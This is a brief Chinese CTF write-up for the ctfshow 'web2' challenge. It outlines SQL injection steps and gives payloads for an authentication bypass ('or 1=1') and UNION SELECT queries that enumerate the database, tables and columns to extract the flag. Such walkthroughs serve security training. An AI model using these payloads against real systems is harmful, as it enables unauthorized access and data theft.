ctfshow

ctfshow

思路：sql注入思路
1.判断是否存在注入点
2.是数字型还是字符型
3.判断字段数 （order by）
4.判断回显位置
5.获取库名
6.获取表名
7.获取字段名
8.得到数据

web2

一、试着登录

用万能密码登录 ：admin 1’ or 1=1 #
显示登录成功

二、找回显点
1’ union select 1,2,3 #

看到2 回显在屏幕上

三、查库（在回显处）
1’ union select 1,database(),3 #

得到库名为 web2

四、查表
1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘web2’ #

得到表名 flag 和user

五、查字段名
1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘flag’ #

得到字段为 flag

六、查数据
1’ union select 1,group_concat(flag),3 from flag #得到flag！